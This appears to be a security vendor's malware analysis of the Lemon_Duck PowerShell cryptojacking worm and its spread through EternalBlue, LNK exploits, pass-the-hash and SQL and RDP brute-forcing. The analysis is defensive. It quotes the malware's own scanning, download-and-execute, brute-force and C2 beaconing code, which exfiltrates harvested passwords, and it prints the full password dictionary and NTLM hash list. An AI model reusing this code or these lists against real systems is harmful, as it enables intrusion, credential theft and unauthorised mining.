Lemon_Duck PowerShell malware cryptojacks enterprise networks
Credit to Author: rajeshnataraj| Date: Tue, 01 Oct 2019 04:01:09 +0000
The threat actors behind these campaigns have been using an array of advanced techniques, including fileless script execution, leveraging open source security tools for nefarious purposes, and abuse of exploitable vulnerabilities to rapidly spread laterally to other machines within the same network.
In its latest iterations, the threat actor has begun to employ the use of EternalBlue exploits to propagate laterally to other machines in the same network. Some of the malicious scripts use the term “$Lemon_Duck” as a variable, so we (and a few other companies who have contemporaneously blogged about this same threat actor) have started to refer to these attackers as the Lemon_Duck PowerShell campaign.
In this post, we’ve turned our attention to what appears to be an organized campaign run by attackers who methodically and consistently upgrade their attack scripts with new offensive techniques. Most of the offensive modules used in this script are sourced from open source repositories; The malicious scripts maintain their persistence on infected Windows machines using Scheduled Tasks.
Target selection for crypto mining
This campaign randomly generates IP addresses for targeting, and port-scans for listening services on specific port numbers, such as 445/TCP (SMB), 1433/TCP (MS-SQL server), or 65529/TCP (A port used by a machine that has been previously compromised by this same threat actor).
Once the script gets a response from the remote machine, it probes the IP address for the EternalBlue SMB vulnerability or performs a brute-force attack against the MS-SQL service in an attempt to compromise the machine. Machines with listening ports open on 65529/TCP have previously been compromised by this or another threat actor using a similar script.
This section of the malicious script contains the logic by which it randomly generates target IP addresses:
function getipaddrs{ write-host "Get ipaddress..." $allip = @() [string[]]$ipsub = @('192.168.0','192.168.1','192.168.2','192.168.3','192.168.4','192.168.5','192.168.6','192.168.7','192.168.8','192.168.9','192.168.10','192.168.18','192.168.31','192.168.199','192.168.254','192.168.67','10.0.0','10.0.1','10.0.2','10.1.1','10.90.90','10.1.10','10.10.1') $regex = [regex]"bd{1,3}.d{1,3}.d{1,3}.d{1,3}b" $regex.Matches((ipconfig /all)) | ForEach-Object {{{}} if ($allip -notcontains $_.Value) { $allip {{+= $_.Value }}} } $regex.Matches((ipconfig /displaydns)) | ForEach-Object {{{}} if ($allip -notcontains $_.Value) { $allip {{+= $_.Value }}} } $regex.Matches((netstat -ano)) | ForEach-Object {{{}} if ($allip -notcontains $_.Value) { $allip {{+= $_.Value }}} } foreach($IP in $allip) {{{}} if ($IP.StartsWith("127.") -or ($IP -match '25d.') -or ($IP -match '24d.') -or $IP.StartsWith("0.") -or $IP.StartsWith("169.254") -or $IP -eq '1.0.0.127') {{{}} }else{ $iptemp = $ip.Split(".") $SubnetIP = $iptemp[0] "." $iptemp[1] "." $iptemp[2] if ($ipsub -notcontains $SubnetIP) { $ipsub = @($SubnetIP) + $ipsub} } } try{ $NetObject = New-Object Net.WebClient $wlanip = $NetObject.DownloadString("https://api.ipify.org/") $wlaniptemp = $wlanip.Split(".") $wlansub = $wlaniptemp[0] "." $wlaniptemp[1] "." $wlaniptemp[2] if($ipsub -notcontains $wlansub) { $ipsub += $wlansub } }catch try{ $ipaddress = [System.Net.DNS]::GetHostByName($null).AddressList $localip = @() Foreach ($ip in $ipaddress) {{{}} $localip += $ip.IPAddressToString $intiptemp = $ip.IPAddressToString.Split(".") if($intiptemp[0] -ne '127'){ $intipsub = $intiptemp[0] "." $intiptemp[1] "." $intiptemp[2] if($ipsub -notcontains $intipsub) { $ipsub += $intipsub } } } }catch for($i=0; $i -lt 30; $i++){ try{ $ran_ipsub = ""(1(Get-Random -Maximum 254))"."(1+(Get-Random -Maximum 254))"."(1+(Get-Random -Maximum 254)) if($ipsub -notcontains $ran_ipsub){ $ipsub = ""(1+(Get-Random -Maximum 254))"."(1+(Get-Random -Maximum 254))"."(1+(Get-Random -Maximum 254)) } }catch } $global:ipaddrs = @() foreach($ipsub2 in $ipsub) {{ { } } write-host $ipsub2 $global:ipaddrs = 1..254|%{$ipsub2{}"."+$_} } $global:ipaddrs = @($global:ipaddrs | Where-Object { $localip -notcontains $_ }) write-host "Get address done!!" }
And this portion of the script dictates how the attackers scan for specific listening ports on the targeted computers:
function localscan { Param( [int]$Port = 445 ) write-host "scan port $port..." [string[]]$openips = @() $clients = @ $connects = @ foreach($ip in $ipaddrs) { try{ $client = New-Object System.Net.Sockets.TcpClient $connect = $client.BeginConnect($ip,$port,$null,$null) $connects[}}{{$ip}}{{] = $connect $clients[}}{{$ip}}{{] = $client }catch } Start-Sleep -Milli 3000 foreach($ip in $clients.Keys) { if ($clients[}}{{$ip}}{{].Connected) { $clients[}}{{$ip}}{{].EndConnect($connects[}}{{$ip}}{{]) $openips += $ip } $clients[}}{{$ip}}{{].Close() } write-host $openips.count return ,$openips }
Finally, the attackers use a password & hash dictionary in an attempt to brute-force a Microsoft SQL server’s “sa” (super admin) account credentials. The script runs through a long list of passwords (including ones that have been used in the past by a variety of threat groups who spread Mirai and other IoT botnet malware. The attackers also use an array of NTLM hashes in a “pass the hash” attack.
Here’s the password list:
"saadmin","123456","password","PASSWORD","123.com","admin@123","Aa123456","qwer12345","Huawei@123","123@abc","golden","123!@#qwe","1qaz@WSX","Ab123","1qaz!QAZ","Admin123","Administrator","Abc123","Admin@123", "999999","Passw0rd","123qwe!@#","football","welcome","1","12","21","123","321","1234","12345","123123","123321","111111","654321","666666","121212","000000","222222","888888","1111","555555","1234567","12345678", "123456789","987654321","admin","abc123","abcd1234","abcd@1234","abc@123","p@ssword","P@ssword","p@ssw0rd","P@ssw0rd","P@SSWORD","P@SSW0RD","P@w0rd","P@word","iloveyou","monkey","login","passw0rd","master","hello", "qazwsx","password1","qwerty","baseball","qwertyuiop","superman","1qaz2wsx","fuckyou","123qwe","zxcvbn","pass","aaaaaa","love","administrator","qwe1234A","qwe1234a","123123123","1234567890","88888888","111111111", "112233","a123456","123456a","5201314","1q2w3e4r","qwe123","a123456789","123456789a","dragon","sunshine","princess","!@#$%^&*","charlie","aa123456","homelesspa","1q2w3e4r5t","sa","sasa","sa123","sql2005","sa2008", "abc","abcdefg","sapassword","Aa12345678","ABCabc123","sqlpassword","sql2008","11223344","admin888","qwe1234","A123456"
And this is the script’s NTLM hash collection
"31d6cfe0d16ae931b73c59d7e0c089c0","32ed87bdb5fdc5e9cba88547376818d4","8846f7eaee8fb117ad06bdd830b7586c","7b592e4f8178b4c75788531b2e747687","afffeba176210fad4628f0524bfe1942", "579da618cfbfa85247acf1f800a280a4", "47bf8039a8506cd67c524a03ff84ba4e","5ae7b89b3afea28d448ed31b5c704289","3f9f5f112da330ac4c20be279c6addfa","73f5d97549f033374fa6d9f9ce247ffd", "6f12c0ab327e099821bd938f39faab0d","e5ae562ddfaa6b446c32764ab1ebf3ed", "161cff084477fe596a5db81874498a24","d30c2ef8389ac9e8516baacb29463b7b","bc007082d32777855e253fd4defe70ee", "e45a314c664d40a227f9540121d1a29d","d144986c6122b1b1654ba39932465528","f4bb18c1165a89248f9e853b269a8995", "570a9a65db8fba761c1008a51d4c95ab","e1a692bd23bde99b327756e59308b4f8", "a87f3a337d73085c45f9416be5787d86","00affd88fa323b00d4560bf9fef0ec2f","31fc0dc8f7dfad0e8bd7ccc3842f2ce9","674e48b68c5cd0efd8f7e5faa87b3d1e", "69943c5e63b4d2c104dbbcc15138b72b", "588feb889288fb953b5f094d47d1565c","bcdf115fd9ba99336c31e176ee34b304","3dbde697d71690a769204beb12283678","df54de3f3438343202c1dd523d0265be","7ce21f17c0aee7fb9ceba532d0546ad6", "7a21990fcd3d759941e45c490f143d5f","579110c49145015c47ecd267657d3174","af27efb60c7b238910efe2a7e0676a39","2d7f1a5a61d3a96fb5159b5eef17adc6","4057b60b514c5402dde3d29a1845c366", "e8cd0e4a9e89eab931dc5338fcbec54a", "6920c58d0df184d829189c44fafb7ece","3fa45a060bd2693ae4c05b601d05ca0c","ba07ba35933e5bf42dea4af8add09d1e","f1351ac828428d74f6da2968089fc91f", "e84d037613721532e6b6d84d215854b6","2f2d544c53b3031f24d63402ea7fb4f9", "328727b81ca05805a68ef26acb252039","259745cb123a52aa2e693aaacca2db52","c22b315c040ae6e0efee3518d830362b", "162e829be112225fedf856e38e1c65fe","209c6174da490caeb422f3fa5a7ae634","f9e37e83b83c47a93c2f09f66408631b", "b3ec3e03e2a202cbd54fd104b8504fef","4ed91524cb54eaacc17a185646fb7491", "aa647b916a1fad374df9c30711d58a7a","a80c9cc3f8439ada25af064a874efe2d","13b29964cc2480b4ef454c59562e675c","de26cce0356891a4a020e7c4957afc72", "e19ccf75ee54e06b06a5907af13cef42", "30fcaa8ad9a496b3e17f7fbfacc72993","41630abb825ca50da31ce1fac1e9f54d","f56a8399599f1be040128b1dd9623c29","2e4dbf83aa056289935daea328977b20","b963c57010f218edc2cc3c229b5e4d0f", "f2477a144dff4f216ab81f2ac3e3207d","e6bd4cdb1e447131b60418f31d0b81d6","b9f917853e3dbf6e6831ecce60725930","6d3986e540a63647454a50e26477ef94","066ddfd4ef0e9cd7c256fe77191ef43c", "152efbcfafeb22eabda8fc5e68697a41", "5835048ce94ad0564e29a924a03510ef","2d20d252a479f485cdf5e171d93985bf","320a78179516c385e35a93ffa0b1c4ac","0d757ad173d2fc249ce19364fd64c8ec", "72f5cfa80f07819ccbcfb72feb9eb9b7","f67f5e3f66efd7298be6acd32eeeb27c", "1c4ecc8938fb93812779077127e97662","ad70819c5bc807280974d80f45982011","a836ef24f0a529688be2af1479a95411", "36aa83bdcab3c9fdaf321ca42a31c3fc","acb98fd0478427cd18949050c5e87b47","85deeec2d12f917783b689ae94990716", "a4141712f19e9dd5adf16919bb38a95c","e7380ae8ef85ae55bdceaa59e418bd06", "81e5f1adc94dd08b1a072f9c1ae3dd3f","71c5391067de41fad6f3063162e5eeff"
Suffice to say, if you run a public-internet-facing MS-SQL server, and you’re using one of these passwords, if your machine isn’t already compromised, it’s only a matter of time before it will be.
The Lemon_Duck kill-chain
Using the Windows Scheduled Tasks mechanism, the malicious scripts download and execute a fresh copy of the malicious script at one-hour intervals. The initial downloaded script performs validation of itself using a hardcoded hash before it executes. If that succeeds, the script downloads other payloads: a coin miner and an exploitation module.
This section of the script validates the checksum:
$tm1='$Lemon_Duck=''_T''; $y=''_U'';$z=$y{}''p''{}'''$v'''; $m=(New-Object System.Net.WebClient).DownloadData($y); // Downloaded SHA should be equal to 'd8109cec0a51719be6f411f67b3b7ec1' [System.Security.Cryptography.MD5]::Create().ComputeHash($m)|foreach}{{$s+=$_.ToString(''x2'')}; if($s-eq''d8109cec0a51719be6f411f67b3b7ec1''){ IEX(-join[char[]]$m) }
The $Lemon_Duck variable stores the filename of the task, and passes it to the command-and-control server in the User-Agent string. If everything checks out at this phase, the script begins to download the payloads.
Threat propagation and lateral spread
The script also attempts to propagate itself laterally, using the initially infected machine as a foothold into the rest of the network. To do this, it engages in a variety of methods, including the use of:
- EternalBlue: Compromise through SMB exploitation (patch your boxes!)
- USB & Network Drives: The script writes malicious Windows *.lnk shortcut files & malicious DLL files to removable storage connected to infected machines, and to mapped network drives (CVE-2017-8464)
- Startup files: The script writes files to startup locations on the Windows filesystem (such as the Start Menu’s Startup folder) to execute during reboot.
- MS-SQL Server brute-forcing – The script tries a variety of (really bad) passwords that might be used by the SQL Server “SA” user account.
- Pass the Hash attack – Leverages the NTLM hashes from the table shown above
- Execution of malicious commands on remote machines using WMI
- RDP Bruteforcing
In some of these attempted exploits, the script also creates one or more Scheduled Tasks to launch malicious scripts several minutes after the initial compromise. These tricks may be a rudimentary, ham-fisted attempt to evade behaviour-based security products. These types of security tools track the sequence and timing of events to identify attacks in progress and, theoretically, block an attack once a certain threshold of suspicious commands is issued within a short timeframe.
Once new scripts are downloaded from the malicious C&C server, the newer scripts remove the Scheduled Tasks entries created during the initial exploitation. Here are some examples of the propagation methods in use by this threat actor:
EternalBlue: The attacker’s scan machines that respond on 445/TCP to see if they are susceptible to the EternalBlue vulnerability using a tool called PingCastle.
Machines found to be vulnerable to this exploit are then attacked using EternalBlue. The attack script also determines whether the vulnerable machine is running Windows 7 or older, or Windows 8 or newer versions.
try{ write-host "start eb scanning..." $vul=[PingCastle.Scanners.m17sc]::Scan($currip) // scan for vulnerable IP if($vul{{) { } } write-host "$currip seems eb vulnerable..." $res = eb7 $currip $sc //targeting win7 & older version if($res) { write-host "$currip eb7 got it!!!" } else { $res = eb8 $currip $sc //Windows 8, 10 & 2012 if($res) { write-host "$currip eb8 got it!!!" } } } }catch
After the attack script determines the version of the attack it will use, it launches the “SMB Exploitation Module” shown below.
LNK Remote Code Execution: The threat actors behind Lemon_Duck introduced a Windows shortcut *.lnk exploitation component in a recent update. The component exploits the CVE-2017-8464 vulnerability to spread by copying the malicious code to removable USB mass storage devices or network drives.
The script writes both a 32- and 64-bit version of a malicious DLL component, along with with with the corresponding *.lnk files, to the USB or network drive. When the user opens this drive in Windows Explorer or any other application that parses the .lnk Shortcut file, the shortcut executes the malicious DLL component.
The script also creates a file named “UTFsync inf_data” – (file_location) as a reference marker to confirm that the drive is already infected with *.lnk & *.dll component. The presence of this file confirms the drive is already infected, so they skip this drive from infecting again.
PassTheHash Attack: The script verifies the user account privileges. If the user has administrator privileges, then the script invokes Dave Kennedy’s PowerDump module and Benjamin Delpy’s Mimikatz to dump all the NTLM hashes, Username, Password, and domain information. The script later uses those credentials to upload the malicious script files, followed by associated batch or *.lnk file, to the %startup% folder on any remote machines it can access in the network, or execute the PowerShell code remotely using WMI.
PowerDump Module: This module looks very similar to an open source script used for penetration testing and features two additional open-source scripting tools.
The malware uses the credentials harvested using Mimikatz to invoke the following PowerShell modules originally published by Kevin Robertson.
- “Invoke-SE” – to execute the malicious batch command in the remote machine.
- “Invoke-SMBC” – “List” the IPC$ shares of all user, which are maintained by the SMB. It performs three different operations “List”, “Put” and “Delete”.
MS-SQL server brute-forcing: The script portscans active IP addresses and enumerates any machine with an open port 1433/TCP, the port used by the Microsoft SQL service, and then engages in a brute-force attack against the “SA” user account, using the list of the passwords shown above, along with any password collected locally from the machine using Mimikatz.
Upon a successful compromise of the MS-SQL server account, the script uses the sqlserver.exe process to execute malicious commands against other machines.
RDP brute-forcing:
The RDP module scans for open servers listening on the default RDP port 3389/TCP and will attempt to login with the “administrator” user name. The script will cycle through a list of hardcoded passwords using the “freerdp” open-source utility.on successful login, the malicious command is executed in the machine.
foreach($currip in $rdp_portopen[1]) { $currip if (($old_portopen -notcontains $currip) -and ($currip.length -gt 6)){ write-host "start rdp scanning..." foreach($password in $allpass){ write-host "Try pass:$password" $flag = (new-object RDP.BRUTE).check($exepath,$currip,"administrator",$password,$false) if($flag){ write-host "SUCC!!" $brute = new-object RDP.BRUTE if($brute.check($exepath,$currip,"administrator",$password,$true)){ (New-Object Net.WebClient).DownloadString($log_url+'/report.json?type=rdp&ip='+$currip+'&pass='+$password+'&t='+$t) [RDP.CMD]::runCmd($rdp_code) write-host "Try to run command!!" } start-sleep 10 $brute.exit() break; } } } }
If the machine is been compromised with any of the above methods, the script modifies the Windows Firewall settings to open port 65529/TCP. It uses this indicator as a marker for the malicious script to identify that the machine is already compromised, so it will avoid reusing the exploitation modules on those machines.
This exploitation code runs continuously, with a 5-minute pause, every time it generates a new random IP address list. The script scans for the SMB & MS-SQL services to compromise the new machines. It also builds profiling information about the machine and passes it to its command-and-control server every time it runs this code.
write-host "reporting" try{ $mac = (Get-WmiObject Win32_NetworkAdapterConfiguration | where {$_.ipenabled -EQ $true}).Macaddress | select-object -first 1 $guid = (get-wmiobject Win32_ComputerSystemProduct).UUID $comp_name = $env:COMPUTERNAME $wf = test-path $env:tmpwfreerdp.exe // RDP utility $mf = test-path $env:tmpmimi.dat // mimikatz (New-Object Net.WebClient).DownloadString($log_url+'/log.json?V=0.1&ID='+$comp_name+'&GUID='+$guid+'&MAC='+$mac+'&retry='+$retry+'&pc1='+$portopen[1].count+'&pc2='+$ms_portopen[1].count+'&pc3='+$old_portopen[1].count+'&pc4='+$rdp_portopen[1].count+'&pci='+$ipaddrs_i.count+'&pco='+$ipaddrs_o.count+'&pcb='+$global:ipaddrs_b+'&mi='+($getpasswd -join "^^")+'&wf='+[Int]$wf+'&mf='+[Int]$mf) }catch{}
hxxp://<redacted.com>/report.jsp?ID=HAWKINS-PC&GUID=2D3EC845-35CD-1346-876E-96257ADE6A2F&MAC=&OS=6.1.7601&BIT=32&USER=HAWKINS-PC$&DOMAIN=WORKGROUP&D=&CD=Standard%20VGA%20Graphics%20Adapter&P=1&FI=0&FM=0&IF=0&MF=0&HR=&UP=664.468&_T=1569808438.79244 Paramaters - $comp_name = Computername $guid = machine UUID $mac = mac address of the machine $os = installed OS version $bit = 32 or 64 bit architecture $user = username $domain = User Domain $uptime = system uptime $card = Installed Graphic Card Name $if_ = Exploit & threat progration module $mf_ = active 32 or 64 bit mining module $drive = removable & network drive information $timestamp = Date in UFormat $isA = If AMD Radeon graphic Card Installed & 64 bit machine $permit - Is administrator FI & IF - Confirm the threat propgation module is executed and running active FM & MF - Confirm mining module executed and running active &HR - Miner Hashrate information
Threat Prevalence
SophosLabs has monitored this malware communicating with its network and built a database of compromised machines. Based on the compromised machine count in the telemetry, we suspect that the attacks may have originated in Asia, but have spread to every continent.
Detection Coverage
Sophos endpoint products will detect elements of the Lemon_Duck PowerShell components using some of the following definitions.
- HPmal/PowDld-B – Core Miner Component.
- Mal/PshlJob-A – Old campaign tasks files + Mssql brute-force task files.
- Mal/MineJob-C – task files created by Eternal Blue Exploitation.
- Mal/MineJob-B – Task file persistence.
Sophos Managed Threat Response (MTR) detects and neutralizes Techniques, Tactics and Procedures (TTPs) utilized by attackers throughout this report. These include but are not limited to PowerShell executions and download string IEX calls, brute force failed logins, start-up folder and scheduled task persistence, CVE-2017-8464, Open TCP 1433, pass-the-hash, and other malicious techniques.